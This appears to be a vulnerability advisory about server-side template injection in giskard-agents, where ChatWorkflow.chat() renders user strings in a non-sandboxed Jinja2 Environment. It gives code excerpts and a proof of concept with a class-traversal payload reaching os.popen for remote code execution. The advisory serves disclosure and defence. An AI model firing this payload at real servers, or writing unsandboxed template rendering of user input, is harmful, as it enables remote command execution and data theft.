Summary

ChatWorkflow.chat(message) passes its string argument directly as a Jinja2 template source to a non-sandboxed Environment. A developer who passes user input to this method enables full remote code execution via Jinja2 class traversal.

The method name chat and parameter name message naturally invite passing user input directly, but the string is silently parsed as a Jinja2 template, not treated as plain text.

Root Cause

libs/giskard-agents/src/giskard/agents/workflow.py line ~261:

def chat(self, message: str | Message | MessageTemplate, role: Role = "user") -> Self:
    if isinstance(message, str):
        message = MessageTemplate(role=role, content_template=message)

The string becomes content_template, which is parsed by from_string():

libs/giskard-agents/src/giskard/agents/templates/message.py lines 14-15:

def render(self, **kwargs: Any) -> Message:
    template = _inline_env.from_string(self.content_template)
    rendered_content = template.render(**kwargs)

The Jinja2 Environment is not sandboxed:

libs/giskard-agents/src/giskard/agents/templates/environment.py line 37:

_inline_env = Environment(
    autoescape=False,
    # Not SandboxedEnvironment
)

Proof of Concept

from jinja2 import Environment
env = Environment()  # Same as giskard's _inline_env

# Class traversal reaches os.popen
t = env.from_string("{{ ''.__class__.__mro__[1].__subclasses__() | length }}")
print(t.render())  # 342 accessible subclasses

# Full RCE payload (subclass index varies by Python version)
# {{ ''.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__['os'].popen('id').read() }}

A developer building a chatbot:

workflow = ChatWorkflow(generator=my_llm)
workflow = workflow.chat(user_input)  # user_input parsed as Jinja2 template
result = await workflow.run()          # RCE if user_input contains {{ payload }}

Note: using .with_inputs(var=user_data) is safe because variable values are not parsed as templates. The issue is only when user strings are passed directly to chat().

Impact

Remote code execution on the server hosting any application built with giskard-agents that passes user input to ChatWorkflow.chat(). Attacker can execute system commands, read files, access environment variables.